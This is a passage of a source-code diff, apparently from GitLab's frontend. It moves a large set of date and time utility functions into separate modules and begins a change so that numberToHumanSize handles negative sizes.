-export const getDayName = (date) =>
- [
- __('Sunday'),
- __('Monday'),
- __('Tuesday'),
- __('Wednesday'),
- __('Thursday'),
- __('Friday'),
- __('Saturday'),
- ][date.getDay()];
-
-/**
- * Returns the i18n month name from a given date
- * @example
- * formatDateAsMonth(new Date('2020-06-28')) -> 'Jun'
- * @param {String} datetime where month is extracted from
- * @param {Object} options
- * @param {Boolean} options.abbreviated whether to use the abbreviated month string, or not
- * @return {String} the i18n month name
- */
-export function formatDateAsMonth(datetime, options = {}) {
- const { abbreviated = true } = options;
- const month = new Date(datetime).getMonth();
- return getMonthNames(abbreviated)[month];
-}
-
-/**
- * @example
- * dateFormat('2017-12-05','mmm d, yyyy h:MMtt Z' ) -> "Dec 5, 2017 12:00am GMT+0000"
- * @param {date} datetime
- * @param {String} format
- * @param {Boolean} UTC convert local time to UTC
- * @returns {String}
- */
-export const formatDate = (datetime, format = 'mmm d, yyyy h:MMtt Z', utc = false) => {
- if (isString(datetime) && datetime.match(/\d+-\d+\d+ /)) {
- throw new Error(__('Invalid date'));
- }
- return dateFormat(datetime, format, utc);
-};
-
-/**
- * Timeago uses underscores instead of dashes to separate language from country code.
- *
- * see https://github.com/hustcc/timeago.js/tree/v3.0.0/locales
- */
-const timeagoLanguageCode = languageCode().replace(/-/g, '_');
-
-/**
- * Registers timeago locales
- */
-const memoizedLocaleRemaining = () => {
- const cache = [];
-
- const timeAgoLocaleRemaining = [
- () => [s__('Timeago|just now'), s__('Timeago|right now')],
- () => [s__('Timeago|just now'), s__('Timeago|%s seconds remaining')],
- () => [s__('Timeago|1 minute ago'), s__('Timeago|1 minute remaining')],
- () => [s__('Timeago|%s minutes ago'), s__('Timeago|%s minutes remaining')],
- () => [s__('Timeago|1 hour ago'), s__('Timeago|1 hour remaining')],
- () => [s__('Timeago|%s hours ago'), s__('Timeago|%s hours remaining')],
- () => [s__('Timeago|1 day ago'), s__('Timeago|1 day remaining')],
- () => [s__('Timeago|%s days ago'), s__('Timeago|%s days remaining')],
- () => [s__('Timeago|1 week ago'), s__('Timeago|1 week remaining')],
- () => [s__('Timeago|%s weeks ago'), s__('Timeago|%s weeks remaining')],
- () => [s__('Timeago|1 month ago'), s__('Timeago|1 month remaining')],
- () => [s__('Timeago|%s months ago'), s__('Timeago|%s months remaining')],
- () => [s__('Timeago|1 year ago'), s__('Timeago|1 year remaining')],
- () => [s__('Timeago|%s years ago'), s__('Timeago|%s years remaining')],
- ];
-
- return (number, index) => {
- if (cache[index]) {
- return cache[index];
- }
- cache[index] = timeAgoLocaleRemaining[index] && timeAgoLocaleRemaining[index]();
- return cache[index];
- };
-};
-
-const memoizedLocale = () => {
- const cache = [];
-
- const timeAgoLocale = [
- () => [s__('Timeago|just now'), s__('Timeago|right now')],
- () => [s__('Timeago|just now'), s__('Timeago|in %s seconds')],
- () => [s__('Timeago|1 minute ago'), s__('Timeago|in 1 minute')],
- () => [s__('Timeago|%s minutes ago'), s__('Timeago|in %s minutes')],
- () => [s__('Timeago|1 hour ago'), s__('Timeago|in 1 hour')],
- () => [s__('Timeago|%s hours ago'), s__('Timeago|in %s hours')],
- () => [s__('Timeago|1 day ago'), s__('Timeago|in 1 day')],
- () => [s__('Timeago|%s days ago'), s__('Timeago|in %s days')],
- () => [s__('Timeago|1 week ago'), s__('Timeago|in 1 week')],
- () => [s__('Timeago|%s weeks ago'), s__('Timeago|in %s weeks')],
- () => [s__('Timeago|1 month ago'), s__('Timeago|in 1 month')],
- () => [s__('Timeago|%s months ago'), s__('Timeago|in %s months')],
- () => [s__('Timeago|1 year ago'), s__('Timeago|in 1 year')],
- () => [s__('Timeago|%s years ago'), s__('Timeago|in %s years')],
- ];
-
- return (number, index) => {
- if (cache[index]) {
- return cache[index];
- }
- cache[index] = timeAgoLocale[index] && timeAgoLocale[index]();
- return cache[index];
- };
-};
-
-timeago.register(timeagoLanguageCode, memoizedLocale());
-timeago.register(`${timeagoLanguageCode}-remaining`, memoizedLocaleRemaining());
-
-export const getTimeago = () => timeago;
-
-/**
- * For the given elements, sets a tooltip with a formatted date.
- * @param {JQuery} $timeagoEls
- * @param {Boolean} setTimeago
- */
-export const localTimeAgo = ($timeagoEls, setTimeago = true) => {
- $timeagoEls.each((i, el) => {
- $(el).text(timeago.format($(el).attr('datetime'), timeagoLanguageCode));
- });
-
- if (!setTimeago) {
- return;
- }
-
- function addTimeAgoTooltip() {
- $timeagoEls.each((i, el) => {
- // Recreate with custom template
- el.setAttribute('title', formatDate(el.dateTime));
- });
- }
-
- requestIdleCallback(addTimeAgoTooltip);
-};
-
-/**
- * Returns remaining or passed time over the given time.
- * @param {*} time
- * @param {*} expiredLabel
- */
-export const timeFor = (time, expiredLabel) => {
- if (!time) {
- return '';
- }
- if (new Date(time) < new Date()) {
- return expiredLabel || s__('Timeago|Past due');
- }
- return timeago.format(time, `${timeagoLanguageCode}-remaining`).trim();
-};
-
-export const millisecondsPerDay = 1000 * 60 * 60 * 24;
-
-export const getDayDifference = (a, b) => {
- const date1 = Date.UTC(a.getFullYear(), a.getMonth(), a.getDate());
- const date2 = Date.UTC(b.getFullYear(), b.getMonth(), b.getDate());
-
- return Math.floor((date2 - date1) / millisecondsPerDay);
-};
-
-/**
- * Port of ruby helper time_interval_in_words.
- *
- * @param {Number} seconds
- * @return {String}
- */
-export const timeIntervalInWords = (intervalInSeconds) => {
- const secondsInteger = parseInt(intervalInSeconds, 10);
- const minutes = Math.floor(secondsInteger / 60);
- const seconds = secondsInteger - minutes * 60;
- const secondsText = n__('%d second', '%d seconds', seconds);
- return minutes >= 1
- ? [n__('%d minute', '%d minutes', minutes), secondsText].join(' ')
- : secondsText;
-};
-
-/**
- * Similar to `timeIntervalInWords`, but rounds the return value
- * to 1/10th of the largest time unit. For example:
- *
- * 30 => 30 seconds
- * 90 => 1.5 minutes
- * 7200 => 2 hours
- * 86400 => 1 day
- * ... etc.
- *
- * The largest supported unit is "days".
- *
- * @param {Number} intervalInSeconds The time interval in seconds
- * @returns {String} A humanized description of the time interval
- */
-export const humanizeTimeInterval = (intervalInSeconds) => {
- if (intervalInSeconds < 60 /* = 1 minute */) {
- const seconds = Math.round(intervalInSeconds * 10) / 10;
- return n__('%d second', '%d seconds', seconds);
- } else if (intervalInSeconds < 3600 /* = 1 hour */) {
- const minutes = Math.round(intervalInSeconds / 6) / 10;
- return n__('%d minute', '%d minutes', minutes);
- } else if (intervalInSeconds < 86400 /* = 1 day */) {
- const hours = Math.round(intervalInSeconds / 360) / 10;
- return n__('%d hour', '%d hours', hours);
- }
-
- const days = Math.round(intervalInSeconds / 8640) / 10;
- return n__('%d day', '%d days', days);
-};
-
-export const dateInWords = (date, abbreviated = false, hideYear = false) => {
- if (!date) return date;
-
- const month = date.getMonth();
- const year = date.getFullYear();
-
- const monthNames = [
- s__('January'),
- s__('February'),
- s__('March'),
- s__('April'),
- s__('May'),
- s__('June'),
- s__('July'),
- s__('August'),
- s__('September'),
- s__('October'),
- s__('November'),
- s__('December'),
- ];
- const monthNamesAbbr = [
- s__('Jan'),
- s__('Feb'),
- s__('Mar'),
- s__('Apr'),
- s__('May'),
- s__('Jun'),
- s__('Jul'),
- s__('Aug'),
- s__('Sep'),
- s__('Oct'),
- s__('Nov'),
- s__('Dec'),
- ];
-
- const monthName = abbreviated ? monthNamesAbbr[month] : monthNames[month];
-
- if (hideYear) {
- return `${monthName} ${date.getDate()}`;
- }
-
- return `${monthName} ${date.getDate()}, ${year}`;
-};
-
-/**
- * Returns month name based on provided date.
- *
- * @param {Date} date
- * @param {Boolean} abbreviated
- */
-export const monthInWords = (date, abbreviated = false) => {
- if (!date) {
- return '';
- }
-
- return getMonthNames(abbreviated)[date.getMonth()];
-};
-
-/**
- * Returns number of days in a month for provided date.
- * courtesy: https://stacko(verflow.com/a/1185804/414749
- *
- * @param {Date} date
- */
-export const totalDaysInMonth = (date) => {
- if (!date) {
- return 0;
- }
- return new Date(date.getFullYear(), date.getMonth() + 1, 0).getDate();
-};
-
-/**
- * Returns number of days in a quarter from provided
- * months array.
- *
- * @param {Array} quarter
- */
-export const totalDaysInQuarter = (quarter) =>
- quarter.reduce((acc, month) => acc + totalDaysInMonth(month), 0);
-
-/**
- * Returns list of Dates referring to Sundays of the month
- * based on provided date
- *
- * @param {Date} date
- */
-export const getSundays = (date) => {
- if (!date) {
- return [];
- }
-
- const daysToSunday = [
- __('Saturday'),
- __('Friday'),
- __('Thursday'),
- __('Wednesday'),
- __('Tuesday'),
- __('Monday'),
- __('Sunday'),
- ];
-
- const month = date.getMonth();
- const year = date.getFullYear();
- const sundays = [];
- const dateOfMonth = new Date(year, month, 1);
-
- while (dateOfMonth.getMonth() === month) {
- const dayName = getDayName(dateOfMonth);
- if (dayName === __('Sunday')) {
- sundays.push(new Date(dateOfMonth.getTime()));
- }
-
- const daysUntilNextSunday = daysToSunday.indexOf(dayName) + 1;
- dateOfMonth.setDate(dateOfMonth.getDate() + daysUntilNextSunday);
- }
-
- return sundays;
-};
-
-/**
- * Returns list of Dates representing a timeframe of months from startDate and length
- * This method also supports going back in time when `length` is negative number
- *
- * @param {Date} initialStartDate
- * @param {Number} length
- */
-export const getTimeframeWindowFrom = (initialStartDate, length) => {
- if (!(initialStartDate instanceof Date) || !length) {
- return [];
- }
-
- const startDate = newDate(initialStartDate);
- const moveMonthBy = length > 0 ? 1 : -1;
-
- startDate.setDate(1);
- startDate.setHours(0, 0, 0, 0);
-
- // Iterate and set date for the size of length
- // and push date reference to timeframe list
- const timeframe = new Array(Math.abs(length)).fill().map(() => {
- const currentMonth = startDate.getTime();
- startDate.setMonth(startDate.getMonth() + moveMonthBy);
- return new Date(currentMonth);
- });
-
- // Change date of last timeframe item to last date of the month
- // when length is positive
- if (length > 0) {
- timeframe[timeframe.length - 1].setDate(totalDaysInMonth(timeframe[timeframe.length - 1]));
- }
-
- return timeframe;
-};
-
-/**
- * Returns count of day within current quarter from provided date
- * and array of months for the quarter
- *
- * Eg;
- * If date is 15 Feb 2018
- * and quarter is [Jan, Feb, Mar]
- *
- * Then 15th Feb is 46th day of the quarter
- * Where 31 (days in Jan) + 15 (date of Feb).
- *
- * @param {Date} date
- * @param {Array} quarter
- */
-export const dayInQuarter = (date, quarter) => {
- const dateValues = {
- date: date.getDate(),
- month: date.getMonth(),
- };
-
- return quarter.reduce((acc, month) => {
- if (dateValues.month > month.getMonth()) {
- return acc + totalDaysInMonth(month);
- } else if (dateValues.month === month.getMonth()) {
- return acc + dateValues.date;
- }
- return acc + 0;
- }, 0);
-};
-
-window.gl = window.gl || {};
-window.gl.utils = {
- ...(window.gl.utils || {}),
- localTimeAgo,
-};
-
-/**
- * Formats milliseconds as timestamp (e.g. 01:02:03).
- * This takes durations longer than a day into account (e.g. two days would be 48:00:00).
- *
- * @param milliseconds
- * @returns {string}
- */
-export const formatTime = (milliseconds) => {
- const remainingSeconds = Math.floor(milliseconds / 1000) % 60;
- const remainingMinutes = Math.floor(milliseconds / 1000 / 60) % 60;
- const remainingHours = Math.floor(milliseconds / 1000 / 60 / 60);
- let formattedTime = '';
- if (remainingHours < 10) formattedTime += '0';
- formattedTime += `${remainingHours}:`;
- if (remainingMinutes < 10) formattedTime += '0';
- formattedTime += `${remainingMinutes}:`;
- if (remainingSeconds < 10) formattedTime += '0';
- formattedTime += remainingSeconds;
- return formattedTime;
-};
-
-/**
- * Formats dates in Pickaday
- * @param {String} dateString Date in yyyy-mm-dd format
- * @return {Date} UTC format
- */
-export const parsePikadayDate = (dateString) => {
- const parts = dateString.split('-');
- const year = parseInt(parts[0], 10);
- const month = parseInt(parts[1] - 1, 10);
- const day = parseInt(parts[2], 10);
-
- return new Date(year, month, day);
-};
-
-/**
- * Used `onSelect` method in pickaday
- * @param {Date} date UTC format
- * @return {String} Date formatted in yyyy-mm-dd
- */
-export const pikadayToString = (date) => {
- const day = pad(date.getDate());
- const month = pad(date.getMonth() + 1);
- const year = date.getFullYear();
-
- return `${year}-${month}-${day}`;
-};
-
-/**
- * Accepts seconds and returns a timeObject { weeks: #, days: #, hours: #, minutes: # }
- * Seconds can be negative or positive, zero or non-zero. Can be configured for any day
- * or week length.
- */
-export const parseSeconds = (
- seconds,
- { daysPerWeek = 5, hoursPerDay = 8, limitToHours = false, limitToDays = false } = {},
-) => {
- const DAYS_PER_WEEK = daysPerWeek;
- const HOURS_PER_DAY = hoursPerDay;
- const SECONDS_PER_MINUTE = 60;
- const MINUTES_PER_HOUR = 60;
- const MINUTES_PER_WEEK = DAYS_PER_WEEK * HOURS_PER_DAY * MINUTES_PER_HOUR;
- const MINUTES_PER_DAY = HOURS_PER_DAY * MINUTES_PER_HOUR;
-
- const timePeriodConstraints = {
- weeks: MINUTES_PER_WEEK,
- days: MINUTES_PER_DAY,
- hours: MINUTES_PER_HOUR,
- minutes: 1,
- };
-
- if (limitToDays || limitToHours) {
- timePeriodConstraints.weeks = 0;
- }
-
- if (limitToHours) {
- timePeriodConstraints.days = 0;
- }
-
- let unorderedMinutes = Math.abs(seconds / SECONDS_PER_MINUTE);
-
- return mapValues(timePeriodConstraints, (minutesPerPeriod) => {
- if (minutesPerPeriod === 0) {
- return 0;
- }
-
- const periodCount = Math.floor(unorderedMinutes / minutesPerPeriod);
-
- unorderedMinutes -= periodCount * minutesPerPeriod;
-
- return periodCount;
- });
-};
-
-/**
- * Accepts a timeObject (see parseSeconds) and returns a condensed string representation of it
- * (e.g. '1w 2d 3h 1m' or '1h 30m'). Zero value units are not included.
- * If the 'fullNameFormat' param is passed it returns a non condensed string eg '1 week 3 days'
- */
-export const stringifyTime = (timeObject, fullNameFormat = false) => {
- const reducedTime = reduce(
- timeObject,
- (memo, unitValue, unitName) => {
- const isNonZero = Boolean(unitValue);
-
- if (fullNameFormat && isNonZero) {
- // Remove traling 's' if unit value is singular
- const formattedUnitName = unitValue > 1 ? unitName : unitName.replace(/s$/, '');
- return `${memo} ${unitValue} ${formattedUnitName}`;
- }
-
- return isNonZero ? `${memo} ${unitValue}${unitName.charAt(0)}` : memo;
- },
- '',
- ).trim();
- return reducedTime.length ? reducedTime : '0m';
-};
-
-/**
- * Calculates the milliseconds between now and a given date string.
- * The result cannot become negative.
- *
- * @param endDate date string that the time difference is calculated for
- * @return {Number} number of milliseconds remaining until the given date
- */
-export const calculateRemainingMilliseconds = (endDate) => {
- const remainingMilliseconds = new Date(endDate).getTime() - Date.now();
- return Math.max(remainingMilliseconds, 0);
-};
-
-/**
- * Subtracts a given number of days from a given date and returns the new date.
- *
- * @param {Date} date the date that we will substract days from
- * @param {Number} daysInPast number of days that are subtracted from a given date
- * @returns {Date} Date in past as Date object
- */
-export const getDateInPast = (date, daysInPast) =>
- new Date(newDate(date).setDate(date.getDate() - daysInPast));
-
-/**
- * Adds a given number of days to a given date and returns the new date.
- *
- * @param {Date} date the date that we will add days to
- * @param {Number} daysInFuture number of days that are added to a given date
- * @returns {Date} Date in future as Date object
- */
-export const getDateInFuture = (date, daysInFuture) =>
- new Date(newDate(date).setDate(date.getDate() + daysInFuture));
-
-/**
- * Checks if a given date-instance was created with a valid date
- *
- * @param {Date} date
- * @returns boolean
- */
-export const isValidDate = (date) => date instanceof Date && !Number.isNaN(date.getTime());
-
-/*
- * Appending T00:00:00 makes JS assume local time and prevents it from shifting the date
- * to match the user's time zone. We want to display the date in server time for now, to
- * be consistent with the "edit issue -> due date" UI.
- */
-
-export const newDateAsLocaleTime = (date) => {
- const suffix = 'T00:00:00';
- return new Date(`${date}${suffix}`);
-};
-
-export const beginOfDayTime = 'T00:00:00Z';
-export const endOfDayTime = 'T23:59:59Z';
-
-/**
- * @param {Date} d1
- * @param {Date} d2
- * @param {Function} formatter
- * @return {Any[]} an array of formatted dates between 2 given dates (including start&end date)
- */
-export const getDatesInRange = (d1, d2, formatter = (x) => x) => {
- if (!(d1 instanceof Date) || !(d2 instanceof Date)) {
- return [];
- }
- let startDate = d1.getTime();
- const endDate = d2.getTime();
- const oneDay = 24 * 3600 * 1000;
- const range = [d1];
-
- while (startDate < endDate) {
- startDate += oneDay;
- range.push(new Date(startDate));
- }
-
- return range.map(formatter);
-};
-
-/**
- * Converts the supplied number of seconds to milliseconds.
- *
- * @param {Number} seconds
- * @return {Number} number of milliseconds
- */
-export const secondsToMilliseconds = (seconds) => seconds * 1000;
-
-/**
- * Converts the supplied number of seconds to days.
- *
- * @param {Number} seconds
- * @return {Number} number of days
- */
-export const secondsToDays = (seconds) => Math.round(seconds / 86400);
-
-/**
- * Converts a numeric utc offset in seconds to +/- hours
- * ie -32400 => -9 hours
- * ie -12600 => -3.5 hours
- *
- * @param {Number} offset UTC offset in seconds as a integer
- *
- * @return {String} the + or - offset in hours
- */
-export const secondsToHours = (offset) => {
- const parsed = parseInt(offset, 10);
- if (Number.isNaN(parsed) || parsed === 0) {
- return `0`;
- }
- const num = offset / 3600;
- return parseInt(num, 10) !== num ? num.toFixed(1) : num;
-};
-
-/**
- * Returns the date `n` days after the date provided
- *
- * @param {Date} date the initial date
- * @param {Number} numberOfDays number of days after
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
- * This will cause Daylight Saving Time to be ignored. Defaults to `false`
- * if not provided, which causes the calculation to be performed in the
- * user's timezone.
- *
- * @return {Date} A `Date` object `n` days after the provided `Date`
- */
-export const nDaysAfter = (date, numberOfDays, { utc = false } = {}) => {
- const clone = newDate(date);
-
- const cloneValue = utc
- ? clone.setUTCDate(date.getUTCDate() + numberOfDays)
- : clone.setDate(date.getDate() + numberOfDays);
-
- return new Date(cloneValue);
-};
-
-/**
- * Returns the date `n` days before the date provided
- *
- * @param {Date} date the initial date
- * @param {Number} numberOfDays number of days before
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
- * This will cause Daylight Saving Time to be ignored. Defaults to `false`
- * if not provided, which causes the calculation to be performed in the
- * user's timezone.
- * @return {Date} A `Date` object `n` days before the provided `Date`
- */
-export const nDaysBefore = (date, numberOfDays, options) =>
- nDaysAfter(date, -numberOfDays, options);
-
-/**
- * Returns the date `n` weeks after the date provided
- *
- * @param {Date} date the initial date
- * @param {Number} numberOfWeeks number of weeks after
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
- * This will cause Daylight Saving Time to be ignored. Defaults to `false`
- * if not provided, which causes the calculation to be performed in the
- * user's timezone.
- *
- * @return {Date} A `Date` object `n` weeks after the provided `Date`
- */
-export const nWeeksAfter = (date, numberOfWeeks, options) =>
- nDaysAfter(date, DAYS_IN_WEEK * numberOfWeeks, options);
-
-/**
- * Returns the date `n` weeks before the date provided
- *
- * @param {Date} date the initial date
- * @param {Number} numberOfWeeks number of weeks before
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
- * This will cause Daylight Saving Time to be ignored. Defaults to `false`
- * if not provided, which causes the calculation to be performed in the
- * user's timezone.
- *
- * @return {Date} A `Date` object `n` weeks before the provided `Date`
- */
-export const nWeeksBefore = (date, numberOfWeeks, options) =>
- nWeeksAfter(date, -numberOfWeeks, options);
-
-/**
- * Returns the date `n` months after the date provided
- *
- * @param {Date} date the initial date
- * @param {Number} numberOfMonths number of months after
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
- * This will cause Daylight Saving Time to be ignored. Defaults to `false`
- * if not provided, which causes the calculation to be performed in the
- * user's timezone.
- *
- * @return {Date} A `Date` object `n` months after the provided `Date`
- */
-export const nMonthsAfter = (date, numberOfMonths, { utc = false } = {}) => {
- const clone = newDate(date);
-
- const cloneValue = utc
- ? clone.setUTCMonth(date.getUTCMonth() + numberOfMonths)
- : clone.setMonth(date.getMonth() + numberOfMonths);
-
- return new Date(cloneValue);
-};
-
-/**
- * Returns the date `n` years after the date provided.
- *
- * @param {Date} date the initial date
- * @param {Number} numberOfYears number of years after
- * @return {Date} A `Date` object `n` years after the provided `Date`
- */
-export const nYearsAfter = (date, numberOfYears) => {
- const clone = newDate(date);
- clone.setFullYear(clone.getFullYear() + numberOfYears);
- return clone;
-};
-
-/**
- * Returns the date `n` months before the date provided
- *
- * @param {Date} date the initial date
- * @param {Number} numberOfMonths number of months before
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
- * This will cause Daylight Saving Time to be ignored. Defaults to `false`
- * if not provided, which causes the calculation to be performed in the
- * user's timezone.
- *
- * @return {Date} A `Date` object `n` months before the provided `Date`
- */
-export const nMonthsBefore = (date, numberOfMonths, options) =>
- nMonthsAfter(date, -numberOfMonths, options);
-
-/**
- * Returns the date after the date provided
- *
- * @param {Date} date the initial date
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
- * This will cause Daylight Saving Time to be ignored. Defaults to `false`
- * if not provided, which causes the calculation to be performed in the
- * user's timezone.
- *
- * @return {Date} the date following the date provided
- */
-export const dayAfter = (date, options) => nDaysAfter(date, 1, options);
-
-/**
- * Mimics the behaviour of the rails distance_of_time_in_words function
- * https://api.rubyonrails.org/v6.0.1/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words
- * 0 < -> 29 secs => less than a minute
- * 30 secs < -> 1 min, 29 secs => 1 minute
- * 1 min, 30 secs < -> 44 mins, 29 secs => [2..44] minutes
- * 44 mins, 30 secs < -> 89 mins, 29 secs => about 1 hour
- * 89 mins, 30 secs < -> 23 hrs, 59 mins, 29 secs => about[2..24]hours
- * 23 hrs, 59 mins, 30 secs < -> 41 hrs, 59 mins, 29 secs => 1 day
- * 41 hrs, 59 mins, 30 secs => x days
- *
- * @param {Number} seconds
- * @return {String} approximated time
- */
-export const approximateDuration = (seconds = 0) => {
- if (!isNumber(seconds) || seconds < 0) {
- return '';
- }
-
- const ONE_MINUTE_LIMIT = 90; // 1 minute 30s
- const MINUTES_LIMIT = 2670; // 44 minutes 30s
- const ONE_HOUR_LIMIT = 5370; // 89 minutes 30s
- const HOURS_LIMIT = 86370; // 23 hours 59 minutes 30s
- const ONE_DAY_LIMIT = 151170; // 41 hours 59 minutes 30s
-
- const { days = 0, hours = 0, minutes = 0 } = parseSeconds(seconds, {
- daysPerWeek: 7,
- hoursPerDay: 24,
- limitToDays: true,
- });
-
- if (seconds < 30) {
- return __('less than a minute');
- } else if (seconds < MINUTES_LIMIT) {
- return n__('1 minute', '%d minutes', seconds < ONE_MINUTE_LIMIT ? 1 : minutes);
- } else if (seconds < HOURS_LIMIT) {
- return n__('about 1 hour', 'about %d hours', seconds < ONE_HOUR_LIMIT ? 1 : hours);
- }
- return n__('1 day', '%d days', seconds < ONE_DAY_LIMIT ? 1 : days);
-};
-
-/**
- * A utility function which helps creating a date object
- * for a specific date. Accepts the year, month and day
- * returning a date object for the given params.
- *
- * @param {Int} year the full year as a number i.e. 2020
- * @param {Int} month the month index i.e. January => 0
- * @param {Int} day the day as a number i.e. 23
- *
- * @return {Date} the date object from the params
- */
-export const dateFromParams = (year, month, day) => {
- return new Date(year, month, day);
-};
-
-/**
- * A utility function which computes the difference in seconds
- * between 2 dates.
- *
- * @param {Date} startDate the start date
- * @param {Date} endDate the end date
- *
- * @return {Int} the difference in seconds
- */
-export const differenceInSeconds = (startDate, endDate) => {
- return (endDate.getTime() - startDate.getTime()) / 1000;
-};
-
-/**
- * A utility function which computes the difference in months
- * between 2 dates.
- *
- * @param {Date} startDate the start date
- * @param {Date} endDate the end date
- *
- * @return {Int} the difference in months
- */
-export const differenceInMonths = (startDate, endDate) => {
- const yearDiff = endDate.getYear() - startDate.getYear();
- const monthDiff = endDate.getMonth() - startDate.getMonth();
- return monthDiff + 12 * yearDiff;
-};
-
-/**
- * A utility function which computes the difference in milliseconds
- * between 2 dates.
- *
- * @param {Date|Int} startDate the start date. Can be either a date object or a unix timestamp.
- * @param {Date|Int} endDate the end date. Can be either a date object or a unix timestamp. Defaults to now.
- *
- * @return {Int} the difference in milliseconds
- */
-export const differenceInMilliseconds = (startDate, endDate = Date.now()) => {
- const startDateInMS = startDate instanceof Date ? startDate.getTime() : startDate;
- const endDateInMS = endDate instanceof Date ? endDate.getTime() : endDate;
- return endDateInMS - startDateInMS;
-};
-
-/**
- * A utility which returns a new date at the first day of the month for any given date.
- *
- * @param {Date} date
- *
- * @return {Date} the date at the first day of the month
- */
-export const dateAtFirstDayOfMonth = (date) => new Date(newDate(date).setDate(1));
-
-/**
- * A utility function which checks if two dates match.
- *
- * @param {Date|Int} date1 Can be either a date object or a unix timestamp.
- * @param {Date|Int} date2 Can be either a date object or a unix timestamp.
- *
- * @return {Boolean} true if the dates match
- */
-export const datesMatch = (date1, date2) => differenceInMilliseconds(date1, date2) === 0;
-
-/**
- * A utility function which computes a formatted 24 hour
- * time string from a positive int in the range 0 - 24.
- *
- * @param {Int} time a positive Int between 0 and 24
- *
- * @returns {String} formatted 24 hour time String
- */
-export const format24HourTimeStringFromInt = (time) => {
- if (!Number.isInteger(time) || time < 0 || time > 24) {
- return '';
- }
-
- const formatted24HourString = time > 9 ? `${time}:00` : `0${time}:00`;
- return formatted24HourString;
-};
-
-/**
- * A utility function that checks that the date is today
- *
- * @param {Date} date
- *
- * @return {Boolean} true if provided date is today
- */
-export const isToday = (date) => {
- const today = new Date();
- return (
- date.getDate() === today.getDate() &&
- date.getMonth() === today.getMonth() &&
- date.getFullYear() === today.getFullYear()
- );
-};
-
-/**
- * Checks whether the date is in the past.
- *
- * @param {Date} date
- * @return {Boolean} Returns true if the date falls before today, otherwise false.
- */
-export const isInPast = (date) => !isToday(date) && differenceInMilliseconds(date, Date.now()) > 0;
-
-/**
- * Checks whether the date is in the future.
- * .
- * @param {Date} date
- * @return {Boolean} Returns true if the date falls after today, otherwise false.
- */
-export const isInFuture = (date) =>
- !isToday(date) && differenceInMilliseconds(Date.now(), date) > 0;
-
-/**
- * Checks whether dateA falls before dateB.
- *
- * @param {Date} dateA
- * @param {Date} dateB
- * @return {Boolean} Returns true if dateA falls before dateB, otherwise false
- */
-export const fallsBefore = (dateA, dateB) => differenceInMilliseconds(dateA, dateB) > 0;
-
-/**
- * Removes the time component of the date.
- *
- * @param {Date} date
- * @return {Date} Returns a clone of the date with the time set to midnight
- */
-export const removeTime = (date) => {
- const clone = newDate(date);
- clone.setHours(0, 0, 0, 0);
- return clone;
-};
-
-/**
- * Calculates the time remaining from today in words in the format
- * `n days/weeks/months/years remaining`.
- *
- * @param {Date} date A date in future
- * @return {String} The time remaining in the format `n days/weeks/months/years remaining`
- */
-export const getTimeRemainingInWords = (date) => {
- const today = removeTime(new Date());
- const dateInFuture = removeTime(date);
-
- const oneWeekFromNow = nWeeksAfter(today, 1);
- const oneMonthFromNow = nMonthsAfter(today, 1);
- const oneYearFromNow = nYearsAfter(today, 1);
-
- if (fallsBefore(dateInFuture, oneWeekFromNow)) {
- const days = getDayDifference(today, dateInFuture);
- return n__('1 day remaining', '%d days remaining', days);
- }
-
- if (fallsBefore(dateInFuture, oneMonthFromNow)) {
- const weeks = Math.floor(getDayDifference(today, dateInFuture) / 7);
- return n__('1 week remaining', '%d weeks remaining', weeks);
- }
-
- if (fallsBefore(dateInFuture, oneYearFromNow)) {
- const months = differenceInMonths(today, dateInFuture);
- return n__('1 month remaining', '%d months remaining', months);
- }
-
- const years = dateInFuture.getFullYear() - today.getFullYear();
- return n__('1 year remaining', '%d years remaining', years);
-};
-
-/**
- * Returns the start of the provided day
- *
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC time.
- * If `true`, the time returned will be midnight UTC. If `false` (the default)
- * the time returned will be midnight in the user's local time.
- *
- * @returns {Date} A new `Date` object that represents the start of the day
- * of the provided date
- */
-export const getStartOfDay = (date, { utc = false } = {}) => {
- const clone = newDate(date);
-
- const cloneValue = utc ? clone.setUTCHours(0, 0, 0, 0) : clone.setHours(0, 0, 0, 0);
-
- return new Date(cloneValue);
-};
-
-/**
- * Returns the start of the current week against the provide date
- *
- * @param {Date} date The current date instance to calculate against
- * @param {Object} [options={}] Additional options for this calculation
- * @param {boolean} [options.utc=false] Performs the calculation using UTC time.
- * If `true`, the time returned will be midnight UTC. If `false` (the default)
- * the time returned will be midnight in the user's local time.
- *
- * @returns {Date} A new `Date` object that represents the start of the current week
- * of the provided date
- */
-export const getStartOfWeek = (date, { utc = false } = {}) => {
- const cloneValue = utc
- ? new Date(date.setUTCHours(0, 0, 0, 0))
- : new Date(date.setHours(0, 0, 0, 0));
-
- const diff = cloneValue.getDate() - cloneValue.getDay() + (cloneValue.getDay() === 0 ? -6 : 1);
-
- return new Date(date.setDate(diff));
-};
+export * from './datetime/timeago_utility';
+export * from './datetime/date_format_utility';
+export * from './datetime/date_calculation_utility';
+export * from './datetime/pikaday_utility';
diff --git a/app/assets/javascripts/lib/utils/number_utils.js b/app/assets/javascripts/lib/utils/number_utils.js
index e3500d02a79..f3dedb7726a 100644
--- a/app/assets/javascripts/lib/utils/number_utils.js
+++ b/app/assets/javascripts/lib/utils/number_utils.js
@@ -72,11 +72,13 @@ export function bytesToGiB(number) {
* @returns {String}
*/
export function numberToHumanSize(size) {
- if (size < BYTES_IN_KIB) {
+ const abs = Math.abs(size);
+
+ if (abs < BYTES_IN_KIB) {
return sprintf(__('%{size} bytes'), { size });
- } else if (size < BYTES_IN_KIB * BYTES_IN_KIB) {
+ } else if (abs < BYTES_IN_KIB ** 2) {
return sprintf(__('%{size} KiB'), { size: bytesToKiB(size).toFixed(2) });
- } else if (size < BYTES_IN_KIB * BYTES_IN_KIB * BYTES_IN_KIB) {
